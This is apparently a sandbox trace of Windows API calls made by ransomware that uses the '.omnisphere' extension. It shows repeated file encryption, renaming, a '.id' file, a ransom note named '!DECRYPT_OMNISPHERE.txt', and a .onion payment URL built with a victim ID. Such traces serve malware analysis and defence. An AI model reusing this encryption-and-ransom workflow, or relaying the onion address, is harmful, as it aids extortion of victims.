Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.435] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.436] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.437] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.438] CryptDestroyKey (hKey=0x16397a8) returned 1 [0128.438] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0128.438] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x5a0, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.438] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.438] GetProcessHeap () returned 0x1600000 [0128.438] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2e2) returned 0x16fdeb8 [0128.438] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key.omnisphere")) returned 1 [0128.439] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key.omnisphere.id" [0128.439] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.440] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.441] CloseHandle (hObject=0x388) returned 1 [0128.441] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.441] CloseHandle (hObject=0x3c0) returned 1 [0128.441] SetEndOfFile (hFile=0x288) returned 1 [0128.442] FlushFileBuffers (hFile=0x288) returned 1 [0128.445] CloseHandle (hObject=0x288) returned 1 [0128.445] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.445] GetProcessHeap () returned 0x1600000 [0128.445] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fe1a8 [0128.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.445] GetProcessHeap () returned 0x1600000 [0128.445] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdd98 [0128.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdd98, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.446] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.446] GetProcessHeap () returned 0x1600000 [0128.446] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710200 [0128.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710200, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.446] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.446] GetProcessHeap () returned 0x1600000 [0128.446] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fb8f0 [0128.446] PathCombineW (in: pszDest=0x16fb8f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.446] GetProcessHeap () returned 0x1600000 [0128.446] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170c508 [0128.446] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.446] WriteFile (in: hFile=0x288, lpBuffer=0x170c508*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170c508*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.447] CloseHandle (hObject=0x288) returned 1 [0128.447] GetProcessHeap () returned 0x1600000 [0128.447] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fe1a8 | out: hHeap=0x1600000) returned 1 [0128.447] GetProcessHeap () returned 0x1600000 [0128.447] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x160e0d8 [0128.447] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.447] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.448] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.449] CloseHandle (hObject=0x288) returned 1 [0128.449] GetProcessHeap () returned 0x1600000 [0128.449] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.449] GetProcessHeap () returned 0x1600000 [0128.449] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.450] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d43bc45, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d43bc45, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2da0b89a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0128.450] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0128.450] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf95bd2d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2da7e08d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2da7e08d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0128.450] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf95bd2d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2da7e08d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2da7e08d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.450] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d43bc45, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d43bc45, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2da7e08d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0128.450] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x651ffc2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x651ffc2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d415ab5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="162797d679096999.automaticDestinations-ms.omnisphere", cAlternateFileName="162797~1.OMN")) returned 1 